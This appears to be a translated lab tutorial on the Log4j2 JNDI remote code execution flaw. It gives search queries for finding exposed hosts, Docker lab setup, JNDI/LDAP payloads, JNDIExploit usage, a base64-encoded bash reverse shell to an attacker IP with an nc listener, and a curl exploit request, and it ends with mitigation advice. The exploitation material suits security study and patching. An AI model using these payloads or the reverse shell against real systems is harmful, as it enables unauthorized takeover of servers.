Apache Log4j2 RCE Remote Code Execution Vulnerability
Vulnerability introduction
1. On December 10, 2021, the national information security vulnerability sharing platform (CNVD) included Apache Log4j2 Remote Code Execution Vulnerability (CNVD-2021-95914). An attacker can use this vulnerability to remotely execute code without authorization. At present, the details of vulnerability exploitation have been made public, and Apache has officially released a patch to fix this vulnerability.
Apache Log4j2 is a Java based logging component, which is widely used in business system development to record program input and output log information. It benefits from its outstanding advantage of other logs: asynchronous log implementation. Is the most popular logging component at development time.
On November 24, 2021, Alibaba cloud security team reported the Apache Log4j2 Remote Code Execution Vulnerability to Apache officials. Due to the JNDI injection defect in the Log4j2 component when processing program log records, an unauthorized attacker can use this vulnerability to send carefully constructed malicious data to the target server, trigger the Log4j2 component parsing defect, realize the execution of arbitrary code on the target server and obtain the privileges of the target server.
Vulnerability principle
1. Log4j2 log
2. log4j2 provides lookups
However, log4j2 does not meet the above functions. They provide a function called lookups lookups description for log4j2.
hello ${java:os} and hello ${java:vm} are the operating system information and virtual machine information of the current service. In fact, if it is just like this, it is not a loophole. It can only be said that it is powerful.
3. It also supports JNDI Lookup and RMI remote calls
You can import directory resources through JNDI to load class and execute code. Resources can also be called remotely through RMI.
Vulnerability impact
Affected version: Apache log4j2.0 x <= 2.14. one
Known affected: srping-boot-strater-log4j2, Apache Solr, Apache Flink, Apache Druid, Apache Struts2
Search vulnerability syntax
fofa search syntax:
app="Log4j2"
shodan search syntax:
Server: Log4j2
Build vulnerability docker environment
Target: CentOS 7
IP: 192.168.110.133
Attacker: kali linux
IP: 192.168.110.141
Download docker vulnerability image file
sudo docker pull vulfocus/log4j2-rce-2021-12-09:latest sudo docker run -itd -p 8080:8080 vulfocus/log4j2-rce-2021-12-09:latest get into shell command sudo docker exec -it 5500411a2fac(container id)
Payload cooperates with DNSLog detection
First go to DNSLog to generate the domain name: zigsvm DNSLog. cn
JS POST POC request
fetch(new Request('url',{
method:'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body:"payload=${jndi:ldap://zigsvm.dnslog.cn./exp}"
})).then((resp)=>{console.log(resp)})
Build:
fetch(new Request('http://192.168.110.133:8080/hello',{
method:'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body:"payload=${jndi:ldap://zigsvm.dnslog.cn./exp}"
})).then((resp)=>{console.log(resp)})
Response 200 indicates that the vulnerability exists. Let's look at the request of DNSLog
HackBar builds POC
Objectives: http://192.168.110.133:8080/hello
POST payload:
payload=${jndi:ldap://zigsvm.dnslog.cn./exp}
JNDIEXPloit tool Getshell
Basic environment
kali linux: 192.168.110.141
Centos7: 192.168.110.133
wget https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip unzip JNDIExploit.v1.2.zip java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
Attacker installation JAVA environment
(this is the Centos7 target machine, which can be disturbed. I installed it here on Kali linux)
yum install -y java-1.8*
java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
ldap://null:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
Configure listening
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.110.141 -p 9090
Specify listening 9090 port
Start listening for LDAP Server services
Plus an HTTP server service
Command execution output file
Test payload statement
When trimming the payload, special characters need to be encoded by URL, especially the + sign needs to be encoded by double URL, otherwise it will be regarded as a connector.
initial payload: ZWNobyAiMTIzOTg3IiA+IC90bXAvdGVzdC50eHQ= url After coding payload: ZWNobyAiMTIzOTg3IiA%252BIC90bXAvdGVzdC50eHQ%3D
Construct payload
${jndi:ldap://192.168.110.141:1389/TomcatBypass/Command/Base64/ZWNobyAiMTIzOTg3IiA%252BIC90bXAvdGVzdC50eHQ%3D}
Packet capture request:
Submit a js post request packet and grab it with burpsuite
Send to Repeater module to test payload:
Request succeeded 200, look at the monitor
payload OK.
Next, go to the docker container
No files, just bounce the shell and have a look.
Rebound shell
payload:
bash -i >& /dev/tcp/192.168.110.141/9797 0>&1 bash64 code: YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNDEvOTc5NyAwPiYx url code: YmFzaCAtaSA%252BJiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNDEvOTc5NyAwPiYx
kali linux set monitoring:
nc -lvvp 9797
Packet capture and resend:
The shell bounced over:
curl command request
curl -X POST --data "payload=${jndi:ldap://192.168.110.141:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252BJiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNDEvOTc5NyAwPiYx}" http://192.168.110.133:8080/hello
BurpSuite passive scanning plug-in Log4j2Scan
https://github.com/pochubs/Log4j2Scan-1.git
Compile it yourself
mvn package
Add to java plug-in
Configure some API s
Then look at the module of dashboard
Repair suggestions
-
Upgrade all related applications of Apache Log4j2 to the latest log4j-2.15 Version 0-rc2, address: https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
-
Upgrade known affected applications and components, such as srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid
-
jvm parameter - dlog4j2 formatMsgNoLookups=true
-
log4j2.formatMsgNoLookups=True
-
System environment variable FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS is set to true
-
The server using log4j is not allowed to be connected out of the network
-
Use a higher version of JDK (such as jdk11.0.1, 8u191, 7u201, 6u211 or higher). Because the higher version of JDK cannot take advantage of JNDI injection by default, it can limit JNDI and other vulnerability exploitation methods to a certain extent.